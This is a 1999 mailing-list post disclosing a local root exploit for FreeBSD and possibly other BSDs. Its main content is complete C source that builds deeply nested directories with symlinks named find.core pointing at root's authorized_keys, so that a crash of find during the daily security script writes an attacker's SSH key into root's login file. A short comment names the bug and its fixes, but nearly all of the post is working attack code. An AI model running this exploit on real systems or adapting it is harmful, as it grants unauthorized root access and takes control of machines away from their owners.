FreeBSD (and other BSDs?) local root explot
Date: Tue, 24 Aug 1999 23:47:05 +0200
From: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL.>
To: [email protected]
Subject: FreeBSD (and other BSDs?) local root explot
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/*
(c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl.>
bug in fts_print function allows to overwrite any file in system, when
running /etc/security script (executed from 'daily' scripts).
affected systems:
- freebsd (all versions)
- probably openbsd/netbsd
fix:
- limit root's coredump size
- patch libc
*/
#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>
#define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE "/root/.ssh/authorized_keys"
#define CORE "find.core"
#define DEPTH 300
#define BUFSIZE 250
int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{
if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;
if (chdir(dir))
return -1;
if (symlink(linkfrom, linkto) < 0)
return -1;
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
int i = 0;
char pid[10], buf[BUFSIZE];
sprintf(pid, "%d", getpid());
if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}
if (chdir(pid))
{
perror("chdir()");
return -1;
}
bzero(buf, BUFSIZE);
memset(buf, 0x41, BUFSIZE-1);
for(i=0;i<DEPTH;i++)
{
if (makedir(STRING, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
if(makedir(buf, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
}
return 0;
}
- ---
* Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657 *
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